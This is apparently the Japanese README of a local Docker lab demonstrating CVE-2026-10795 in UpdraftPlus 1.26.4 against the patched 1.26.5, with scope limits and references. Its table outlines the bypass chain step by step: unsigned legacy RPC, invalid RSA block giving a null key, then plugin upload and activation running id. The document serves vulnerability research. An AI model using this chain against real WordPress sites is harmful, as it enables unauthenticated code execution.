このラボは、ローカルでのセキュリティ研究と管理されたデモンストレーションのみを目的としています。
所有していない、または明示的なテスト許可を得ていないシステムに対してPoCを実行しないでください。
このラボでは、実際の認証情報、本番シークレット、外部ターゲットを使用しないでください。
PoCは、以下のようなローカルDockerサービスに意図的に限定されています:```text http://127.0.0.1:8081 http://127.0.0.1:8082 http://localhost:8081 http://localhost:8082
PoCはデフォルトでローカル以外のターゲットを拒否します。
マーカープラグインは汎用のコマンド実行パラメータを実装していません。ハードコードされたローカルな証明エンドポイントのみを公開し、`/usr/bin/id` を実行します。
このラボには以下は含まれません:```text
generic web shell
cmd parameter
reverse shell
credential extraction
database dumping
persistence
external callback
lateral movement
production exploitation workflow
目標は、管理された環境で特定の技術的条件を実証することです:```text unauthenticated forged RPC
## 参照
* NVD: CVE-2026-10795
https://nvd.nist.gov/vuln/detail/CVE-2026-10795
* Wordfence 脆弱性データベース: UpdraftPlus
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/updraftplus
* Patchstack データベース: UpdraftPlus
https://patchstack.com/database/
* WordPress.org プラグイン: UpdraftPlus
https://wordpress.org/plugins/updraftplus/
* WordPress.org プラグイン SVN
https://plugins.svn.wordpress.org/updraftplus/
* WordPress.org プラグイン SVN タグ
https://plugins.svn.wordpress.org/updraftplus/tags/
* TeamUpdraft: UpdraftCentral
https://updraftplus.com/updraftcentral/
* OWASP: 認証チートシート
https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html
* OWASP: Webセキュリティテストガイド
https://owasp.org/www-project-web-security-testing-guide/
| PoC の動作 | テスト対象のソース動作 | 1.26.4 での期待結果 | 1.26.5 での期待結果 |
|---|
format=1 で POST を送信 | リスナーがレガシー RPC 形式を受け付ける | 継続 | パッチ適用済みの復号チェックへ継続 |
| 有効な署名を省略 | 署名チェックは format >= 2 にのみ適用 | 署名は不要 | format=1 では署名不要だが、後でブロックされる |
| 無効な RSA ブロックを送信 | RSA 復号が無効な対称鍵を返す | 無効な鍵が setKey() に到達 | 無効な鍵は拒否される |
| null キー/null IV で JSON を暗号化 | setKey(false) 後の phpseclib フォールバック動作をモデル化 | 有効な JSON に復号される | 復号されない |
command=ping を設定 | 暗号化バイパスとディスパッチのみをテスト | PING DISPATCHED | PING NOT DISPATCHED |
command=plugin.upload_plugin を設定 | UpdraftCentral のプラグインアップロードメソッドを呼び出す | プラグイン ZIP がインストールされる | コマンドに到達しない |
activate=true を設定 | インストール後に activate_plugin() をトリガー | マーカープラグインが有効 | マーカープラグインが存在しない |
/wp-json/cve-lab/v1/id をリクエスト | マーカープラグインのコードが実行されているか確認 | uid=33(www-data) を返す | 404 rest_no_route を返す |
| Service | Component | Version / Role |
|---|
vuln | WordPress + UpdraftPlus | UpdraftPlus 1.26.4 脆弱なターゲット |
patched | WordPress + UpdraftPlus | UpdraftPlus 1.26.5 パッチ適用済みターゲット |
vuln_db | MariaDB | 脆弱なターゲット用のデータベース |
patched_db | MariaDB | パッチ適用済みターゲット用のデータベース |
vuln_setup | WP-CLI セットアップサービス | WordPress をインストールし、UpdraftPlus をアクティブ化し、ローカルキー状態をシードします |
patched_setup | WP-CLI セットアップサービス | WordPress をインストールし、UpdraftPlus をアクティブ化し、ローカルキー状態をシードします |